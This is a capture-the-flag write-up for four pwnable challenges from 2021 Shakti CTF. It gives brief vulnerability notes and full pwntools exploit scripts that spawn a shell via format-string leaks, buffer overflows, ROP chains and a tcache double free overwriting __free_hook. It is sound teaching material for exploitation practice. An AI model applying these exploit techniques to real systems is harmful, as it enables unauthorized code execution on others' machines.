2021 Shakti CTF Write-up
Birdie (pwnable) vulnerability
First, Check the protection. It is easy to find binary address because of NoPIE.
When i analyzed it on IDA, i found that there are two vulnerabilities. The first one is Format String Bug
on line 11. And the other is Buffer Overflow
on line 13.
So i could leak canary and libc addr using Format String Bug
. And i could get oneshot
because i knew the libc address.
Let’s get the shell.
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p = process('./birdie' ) e = ELF('./birdie' ) context.log_level = 'DEBUG' main = 0x4007e2 system = e.got['system' ] prdi = 0x004008f3 prsi = 0x004008f1 pause() p.sendafter('name\n' ,'%15$p::%17$p::' ) canary = int (p.recvuntil('::' )[:-2 ],16 ) libc = int (p.recvuntil('::' )[:-2 ],16 ) print hex (canary)print hex (libc)libcbase = libc - 0x21bf7 binsh = libcbase + 0x1b3e1a oneshot = libcbase + 0x4f3d5 payload = '' payload += 'AAAAAAAA' *9 payload += p64(canary) payload += 'BBBBBBBB' payload += p64(oneshot) p.sendafter('payload\n' ,payload) p.interactive()
Signal dROPper (pwnable) vulnerability
Check the protection. No canary, No pie and Partial RELRO. It is easy to overwrite stack buffer.
0x6020c0
includes heap address, 0x602120
includes size of heap. It seems like you can allocate up to 12 buffers but not really.
If i could overwrite read’s size (0x602120[v4]), the buffer overflow.
So i allocated 13 heaps, then i could overwrite the size part (0x602128). lastly i could write on buffer 0x17c16f0 bytes!
It only remain to leak the libc addr and overwrite return address using ROP.
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p = process('./chall' ) e = ELF('./chall' ) context.log_level = 'DEBUG' addr = 0x6020c0 size = 0x602120 prdi = 0x00400c03 prsi = 0x00400c01 main = 0x400b32 put_plt = e.plt['puts' ] put_got = e.got['puts' ] read_got = e.plt['read' ] def vuln (): p.sendlineafter('Choice > ' ,'1' ) p.sendlineafter('to: ' ,'AAAA' ) pause() for i in range (0 ,13 ): vuln() p.sendlineafter('Choice > ' ,'3' ) p.sendlineafter('id: ' ,'1' ) payload = '' payload += 'AAAAAAAA' *9 payload += p64(prdi) payload += p64(put_got) payload += p64(put_plt) payload += p64(0x4008e7 ) p.sendlineafter('comments?\n' ,'1' ) p.sendlineafter('comments\n' ,payload) leak = u64(p.recvn(6 )+'\x00\x00' ) print hex (leak)libcbase = leak - 0x80aa0 system = libcbase + 0x4f550 binsh = libcbase + 0x1b3e1a oneshot = libcbase + 0x10a41c p.sendlineafter('id: ' ,'1' ) payload = '' payload += 'AAAAAAAA' *9 payload += p64(prdi) payload += p64(binsh) payload += p64(prsi) payload += p64(0 ) payload += p64(0 ) payload += p64(system) p.sendlineafter('comments?\n' , '1' ) p.sendlineafter('comments\n' ,payload) p.interactive()
Returning-2 (pwnable) vulnerability
Check Protection, No canary~
It is Buffer overflow vulnerability. and also i could allocate dynamically on stack using alloca
functions.
I could find that i can make buffer address to read rsp
, when the alloca’s size is -30
. Lastly I use ROP to exploit.
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * p = process('./chall' ) e = ELF('./chall' ) context.log_level = 'DEBUG' bss = 0x601500 push_rsp = e.symbols['push_rsp' ] mov = 0x0400774 prax = 0x040079a prdi = 0x040077f prsi = 0x0400791 prdx = 0x0400788 syscall = 0x04007a3 pause() p.sendlineafter('input:' ,str (-30 )) payload = '' payload += 'A' *24 payload += p64(prdi) payload += p64(bss) payload += p64(prax) payload += "/bin/sh\x00" payload += p64(mov) payload += p64(prdx) payload += p64(0 ) payload += p64(prsi) payload += p64(0 ) payload += p64(prax) payload += p64(59 ) payload += p64(syscall) p.sendafter('text:' ,payload) pause() p.recvuntil('bye!' ) p.interactive()
Cache_7 (pwnable) vulnerability
I can’t overwrite plt.got because it is FULL RELRO. I am gonna overwrite _hook address.
Let’s analyze the binary.
Allocate heap memory here.
Free the memory here.
And can leak the memory using this.
You know, there is vulnerability about Tcache double free
in Ubuntu 18.04 before patching.
And also they gave me the Libc file. It is Libc-2.27, and they gave hint . “Old Ubuntu 18.04”.
I tested about it . First I allocated 0x40 size heap. and free the memory three times. The picture above shows that double free is possible. There is no protection about double free
in Ubuntu 18.04, but it is patched now.
Then it is easy to exploit. I use this vulnerability i can leak the memory and also overwrite _hook address.
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * p = process(['./chall' ],env={'LD_PRELOAD' :'./libc-2.27.so' }) e = ELF('./chall' ) context.log_level = 'DEBUG' ptr = 0x601050 stdin = 0x601040 def add (size,data ): p.sendlineafter('choice :\n' ,'1' ) p.sendlineafter('size\n' ,str (size)) p.sendlineafter('data\n' ,str (data)) def view (): p.sendlineafter('choice :\n' ,'2' ) def free (): p.sendlineafter('choice :\n' ,'3' ) pause() add(50 ,'AAAA' ) free() free() free() add(50 ,p64(stdin)) add(50 ,'CCCC' ) add(50 ,'' ) view() p.recvuntil('inside\n' ) leak = u64(p.recvn(6 )+"\x00\x00" ) leak = leak + 0x76 print hex (leak)libcbase = leak - 0x3ec680 malloc_hook = libcbase + 0x3ebc30 free_hook = libcbase + 0x3ed8e8 oneshot = libcbase + 0x4f3c2 add(60 ,'AAAAA' ) free() free() free() pause() add(60 ,p64(free_hook)) add(60 ,'AAAA' ) add(60 ,p64(oneshot)) free() p.interactive()